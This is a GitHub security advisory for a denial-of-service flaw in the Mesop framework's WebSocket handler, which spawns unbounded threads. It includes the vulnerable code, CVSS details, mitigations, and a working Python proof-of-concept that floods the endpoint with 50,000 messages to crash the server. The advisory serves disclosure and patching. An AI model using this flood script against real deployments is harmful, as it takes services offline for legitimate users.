Skip to content

Mesop: Unbounded Thread Creation in WebSocket Handler Leads to Denial of Service

High severity GitHub Reviewed Published Apr 2, 2026 in mesop-dev/mesop • Updated Apr 15, 2026

Package

pip mesop (pip)

Affected versions

>= 1.2.3, < 1.2.5

Patched versions

1.2.5

Description

Summary

An uncontrolled resource consumption vulnerability exists in the WebSocket implementation of the Mesop framework. An unauthenticated attacker can send a rapid succession of WebSocket messages, forcing the server to spawn an unbounded number of operating system threads. This leads to thread exhaustion and Out of Memory (OOM) errors, causing a complete Denial of Service (DoS) for any application built on the framework.

Details

The vulnerability stems from an architectural flaw in how incoming WebSocket messages are processed. In the mesop/server/server.py file, the handle_websocket function listens for incoming messages and immediately spawns a new threading.Thread for every successfully parsed ui_request.

There is no thread pool, message queue, or rate-limiting mechanism implemented to restrict the number of concurrent threads spawned per connection.

Vulnerable code snippet in mesop/server/server.py:

while True:
    message = ws.receive()
    if not message:
        continue
    # ... message parsing logic ...

    # VULNERABILITY: Spawning a new thread for every single message without limits
    thread = threading.Thread(
        target=copy_current_request_context(ws_generate_data),
        args=(ws, ui_request),
        daemon=True,
    )
    thread.start()

PoC

To reproduce this vulnerability, you only need a running instance of a Mesop application and a basic Python script to flood the WebSocket endpoint.

Prerequisites:

Python environment with the websocket-client library installed (pip install websocket-client).

A target Mesop application running locally (e.g., http://localhost:8080).

Steps to reproduce:

Start the target Mesop application.

Save the following script as exploit_dos.py.

Run the script: python exploit_dos.py. Watch the server's resource monitor; memory and thread counts will spike rapidly until the process crashes.

import websocket
import base64

# Replace with the target Mesop application's WebSocket URL
TARGET_WS_URL = "ws://localhost:8080/__ui__"

# A minimal valid base64 payload to bypass `base64.urlsafe_b64decode` 
# and Protobuf `ParseFromString` without throwing a parsing exception.
EMPTY_UI_REQUEST_B64 = base64.urlsafe_b64encode(b'').decode('utf-8')

def flood_server():
    ws = websocket.WebSocket()
    try:
        ws.connect(TARGET_WS_URL)
        print("[+] Connection established. Initiating thread exhaustion attack...")
        
        # Rapidly send 50,000 messages to force the server to spawn 50,000 threads
        for i in range(50000):
            ws.send(EMPTY_UI_REQUEST_B64)
            
        print("[+] Payloads sent. The server should be unresponsive or crashed by now.")
        ws.close()
    except Exception as e:
        print(f"[-] Connection closed or server crashed: {e}")

if __name__ == "__main__":
    flood_server()

Impact

Vulnerability Type: Denial of Service (DoS) / CWE-400: Uncontrolled Resource Consumption.

Impacted Parties: Any developer or organization deploying a Mesop-based application to a publicly accessible network.

Severity: High. An unauthenticated external attacker can completely crash the application within seconds using minimal bandwidth from a single machine, rendering the service unavailable to all legitimate users.

Mitigation (Recommended Fixes):

Use a bounded thread pool (e.g., ThreadPoolExecutor with max_workers)
Introduce per-connection rate limiting
Implement a message queue with backpressure
Consider migrating to an async event loop model instead of spawning OS threads

References

@richard-to richard-to published to mesop-dev/mesop Apr 2, 2026
Published to the GitHub Advisory Database Apr 3, 2026
Reviewed Apr 3, 2026
Published by the National Vulnerability Database Apr 3, 2026
Last updated Apr 15, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(55th percentile)

Weaknesses

Out-of-bounds Read

The product reads data past the end, or before the beginning, of the intended buffer. Learn more on MITRE.

Uncontrolled Resource Consumption

The product does not properly control the allocation and maintenance of a limited resource. Learn more on MITRE.

Allocation of Resources Without Limits or Throttling

The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated. Learn more on MITRE.

CVE ID

CVE-2026-34824

GHSA ID

GHSA-3jr7-6hqp-x679

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.